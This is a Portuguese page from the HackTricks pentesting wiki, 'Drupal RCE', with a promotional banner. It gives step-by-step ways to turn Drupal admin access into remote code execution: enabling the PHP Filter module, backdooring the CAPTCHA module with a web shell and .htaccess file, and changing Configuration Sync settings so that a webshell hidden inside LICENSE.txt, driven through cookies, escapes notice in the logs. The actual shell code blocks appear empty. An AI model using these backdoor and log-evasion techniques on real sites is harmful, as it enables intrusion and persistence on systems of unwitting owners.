# Drupal RCE
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## Com o Módulo PHP Filter {% hint style="warning" %} Nas versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como administrador e **ativar o módulo `PHP filter`**, que "Permite que trechos de código/snippets PHP embutidos sejam avaliados." Mas a partir da versão 8, este módulo não está instalado por padrão. {% endhint %} Você precisa que o **plugin php esteja instalado** (verifique acessando _/modules/php_ e se retornar um **403** então, **existe**, se **não encontrado**, então o **plugin php não está instalado**) Vá para _Módulos_ -> (**Marque**) _PHP Filter_ -> _Salvar configuração_ ![](<../../../.gitbook/assets/image (247) (1).png>) Em seguida, clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo_ -> Escreva _código shell php no corpo_ -> Selecione _Código PHP_ em _Formato de texto_ -> Selecione _Visualizar_ ![](<../../../.gitbook/assets/image (338).png>) Finalmente, acesse o nó recém-criado: ```bash curl http://drupal-site.local/node/3 ``` ## Instalar o Módulo Filtro PHP {% hint style="warning" %} Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão. {% endhint %} A partir da versão **8 em diante**, o [**módulo PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **não é mais instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo por conta própria**. 1. Baixe a versão mais recente do módulo no site do Drupal. 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz 2. Após o download, vá para **`Administração`** > **`Relatórios`** > **`Atualizações disponíveis`**. 3. Clique em **`Procurar`**, selecione o arquivo no diretório em que o baixamos e clique em **`Instalar`**. 4. Depois que o módulo estiver instalado, podemos clicar em **`Conteúdo`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `Código PHP` no menu suspenso `Formato de texto`**. ## Módulo com Backdoor {% hint style="warning" %} Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão. {% endhint %} Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Os módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como o [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o arquivo tar.gz [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). * Baixe o arquivo e extraia seu conteúdo. ``` wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-8.x-1.2.tar.gz ``` * Criar um **shell web PHP** com o conteúdo: ```php ``` * Em seguida, precisamos criar um arquivo **`.htaccess`** para nos dar acesso à pasta. Isso é necessário, pois o Drupal nega acesso direto à pasta **`/modules`**. ```html RewriteEngine On RewriteBase / ``` * A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos esses arquivos para a pasta captcha e crie um arquivo compactado. ```bash mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ ``` * Assumindo que temos **acesso administrativo** ao site, clique em **`Gerenciar`** e depois em **`Estender`** na barra lateral. Em seguida, clique no botão **`+ Instalar novo módulo`**, e seremos levados para a página de instalação, como `http://drupal-site.local/admin/modules/install`. Navegue até o arquivo backdoored Captcha e clique em **`Instalar`**. * Após a instalação bem-sucedida, navegue para **`/modules/captcha/shell.php`** para executar comandos. ## Backdooring Drupal com Sincronização de Configuração **Post compartilhado por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) ### Parte 1 (ativação de _Mídia_ e _Biblioteca de Mídia_) No menu _Estender_ (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins _Mídia_ e _Biblioteca de Mídia_ não parecem estar ativados, então vamos ativá-los. Antes da ativação:
Após a ativação:
### Parte 2 (alavancando o recurso _Sincronização de Configuração_) Vamos aproveitar o recurso _Sincronização de Configuração_ para despejar (exportar) e carregar (importar) entradas de configuração do Drupal: * /admin/config/development/configuration/single/export * /admin/config/development/configuration/single/import **Patching system.file.yml** Vamos começar aplicando o patch na primeira entrada `allow_insecure_uploads` de: Arquivo: system.file.yml ``` ... allow_insecure_uploads: false ... ```
Para: Arquivo: system.file.yml ``` ... allow_insecure_uploads: true ... ```
**Patch campo field.field.media.document.field\_media\_document.yml** Em seguida, corrija a segunda entrada `file_extensions` de: Arquivo: field.field.media.document.field\_media\_document.yml ``` ... file_directory: '[date:custom:Y]-[date:custom:m]' file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages' ... ```
Para: Arquivo: field.field.media.document.field\_media\_document.yml ``` ... file_directory: '[date:custom:Y]-[date:custom:m]' file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages' ... ``` > Não o utilizo neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de forma arbitrária e que ela é vulnerável a um ataque de travessia de caminho (assim podemos voltar dentro da árvore do sistema de arquivos do Drupal).
### Parte 3 (alavancando o recurso _Adicionar Documento_) O último passo é o mais simples e é dividido em dois subpassos. O primeiro é fazer o upload de um arquivo no formato .htaccess para alavancar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. O segundo é fazer o upload de um arquivo .txt contendo nosso payload. Arquivo: .htaccess ``` SetHandler application/x-httpd-php # Vroum! Vroum! # We reactivate PHP engines for all versions in order to be targetless. php_flag engine on php_flag engine on php_flag engine on ``` Por que esse truque é legal? Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via `$_COOKIE` e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto. Por que nomear nosso Webshell de LICENSE.txt? Simplesmente porque se pegarmos o seguinte arquivo, por exemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, o que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
Arquivo: LICENSE.txt Patcheado ```txt ... this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author ... ``` #### **Parte 3.1 (upload do arquivo .htaccess)** Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para fazer upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
**Parte 3.2 (upload do arquivo LICENSE.txt)** Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para fazer upload de um Webshell oculto dentro de um arquivo de licença.
### Parte 4 (interação com o Webshell) A última parte consiste em interagir com o Webshell. Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador da Web.
Quando o atacante define o cookie, ele pode interagir com o Webshell e executar os comandos que desejar.
E, como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
Obrigado por dedicar seu tempo para ler este artigo, espero que ajude você a obter alguns shells.